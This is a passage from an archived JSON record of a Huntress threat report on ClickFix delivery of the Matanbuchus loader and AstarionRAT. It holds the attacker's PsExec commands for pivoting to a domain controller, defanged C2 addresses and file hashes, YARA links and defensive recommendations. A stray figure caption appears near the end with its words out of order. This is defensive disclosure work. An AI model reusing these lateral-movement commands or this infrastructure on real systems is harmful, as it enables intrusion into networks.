file.\r\nDespite the failed RAT deployments, the operator still had the rogue DefaultService account and active RDP access on both\r\nhosts. From the Backup Domain Controller, the operator used PsExec to pivot to a primary domain controller, but the\r\nattempt was unsuccessful:\r\nPsExec.exe -accepteula -s -u \u003ccompromised_account\u003e \\\\\u003ctarget_dc\u003e c:\\programdata\\1.bat\r\nPsExec.exe -accepteula -s -u \u003ccompromised_account\u003e \\\\\u003ctarget_dc\u003e cmd\r\nRecommendation\r\nTrain users to recognize prompts that instruct them to copy and paste commands, and ensure they understand the\r\nrisks of executing unknown commands via Run dialogs or terminals\r\nUse Group Policy to disable the Run dialog box (Win + R) and remove the Run option from the Start Menu via User\r\nConfiguration \u003e Administrative Templates \u003e Start Menu and Taskbar\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 14 of 16\n\nConfigure Windows Terminal to warn users when pasted text contains multiple lines, adding a speed bump before\r\nmulti-line command execution\r\nMonitor for rogue account creation: alert on net user and net localgroup commands adding unfamiliar accounts,\r\nespecially when executed via PsExec or remote services\r\nMonitor PsExec usage: flag PsExec execution from non-standard paths like C:\\ProgramData\\USOShared\\\r\nDetection\r\nYara\r\nAstarionRAT\r\nhttps://github.com/RussianPanda95/Yara-Rules/blob/main/AstarionRAT/win_mal_AstarionRAT.yar\r\nMatanbuchus 3.0 Loader Component\r\nhttps://github.com/RussianPanda95/Yara-Rules/blob/main/Matanbuchus/win_mal_Matanbuchus_loader.yar\r\nIndicators of compromise (IOCs)\r\nItem Description\r\nhxxp://binclloudapp[.]com/466943 ClickFix MSI delivery C2\r\nhxxps://marle[.]io/check/updprofile.aspx Matanbuchus C2 - serves encrypted\r\nmain module\r\nwww.ndibstersoft[.]com AstarionRAT C2\r\n/intake/organizations/events?channel=app AstarionRAT beacon polling path\r\n%APPDATA%\\AegisLynx Cybernetics Ltd\\AegisLynx Threat Fabric\\AVU\\ Matanbuchus MSI install path\r\n%APPDATA%\\DocuRay Technologies S.r.l\\DocuRay PDF\r\nProfessional\\ZAVY\\ Matanbuchus MSI install path \r\n%APPDATA%\\HelixShield Technologies ApS\\HelixShield Adaptive\r\nSecurity\\APS\\ZAV\\ Matanbuchus MSI install path \r\n%LOCALAPPDATA%\\Temp\\ndvyxgdriggmarrf\\\r\nStage 2 DLL sideloading package\r\ndrop path\r\nINFO\r\nSHA256:\r\nde81e2155d797ff729ed3112fd271aa2728e75fc71b023d0d9bb0f62663f33b3\r\nEncrypted shellcode payload\r\ndelivered alongside the MSI, contains\r\nshellcode that downloads the\r\nMatanbuchus main module from the\r\nC2\r\nSystemStatus.dll Matanbuchus Loader payload\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 15 of 16\n\nSHA256:\r\n6ffae128e0dbf14c00e35d9ca17c9d6c81743d1fc5f8dd4272a03c66ecc1ad1f\r\njli.dll\r\nSHA256:\r\n68858d3cbc9b8abaed14e85fc9825bc4fffc54e8f36e96ddda09e853a47e3e31\r\nStage 2 loader, decrypts and executes\r\nthe Lua script from SySUpd\r\nSySUpd\r\nSHA256:\r\n03c624d251e9143e1c8d90ba9b7fa1f2c5dc041507fd0955bdd4048a0967a829\r\nXOR-encrypted Lua script\r\nReflective PE loader \r\nSHA256:\r\n8e54cd12591d67dfbe72e94c1bde6059e1cba157e6786aec63f8f9e3c71fb925\r\nReflective PE loader that reconstructs\r\nthe Stage 1 DLL from a custom\r\nbinary stream and passes the final\r\npayload (AstarionRAT) to it\r\nStage 1 payload\r\nSHA256:\r\nc31c8edbf94c85cc9bc46a5665c45a3556c48d5ad615c0a44e14e5406d80df12\r\nSmall loader with no import table,\r\nXOR-decrypts and LZNT1-\r\ndecompresses the final payload, maps\r\nit into memory, and creates a thread\r\nto execute it\r\nBeacon.exe\r\nSHA256:\r\neecc83add16f3d513a9701e9a646b1885014229ac6f86addd6b10afb64d1d2af\r\nAstarionRAT\r\nUpdprofile.aspx\r\nSHA256:\r\nea378496135318ac5ad667a032fa4a9686add9d27fe4a7c549c937611b5099e5\r\nMatanbuchus Core Module\r\nSource: https://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nhttps://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis\r\nPage 16 of 16\n\nWith clean API access a 13,600-byte function established, the containing a switch loader initializes a full statement with embedded Lua 5.4.7 82 opcodes. interpreter. The bytecode dispatch loop is\nFigure 6: IDA graph view of the Lua 5.4.7 bytecode interpreter, showing the 82-case opcode dispatch switch\n  Page 7 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis"
	],
	"report_names": [
		"clickfix-matanbuchus-astarionrat-analysis"
	],
	"threat_actors": [
		{
			"id": "d9b39228-0d9d-4c1e-8e39-2de986120060",
			"created_at": "2023-01-06T13:46:39.293127Z",
			"updated_at": "2026-04-10T02:00:03.277123Z",
			"deleted_at": null,
			"main_name": "BelialDemon",
			"aliases": [
				"Matanbuchus"
			],
			"source_name": "MISPGALAXY:BelialDemon",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434428,
	"ts_updated_at": 1775791857,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8dc53b834f8023a6bd358220f2eb7a409cbe6de3.pdf",
		"text": "https://archive.orkl.eu/8dc53b834f8023a6bd358220f2eb7a409cbe6de3.txt",
		"img": "https://archive.orkl.eu/8dc53b834f8023a6bd358220f2eb7a409cbe6de3.jpg"
	}
}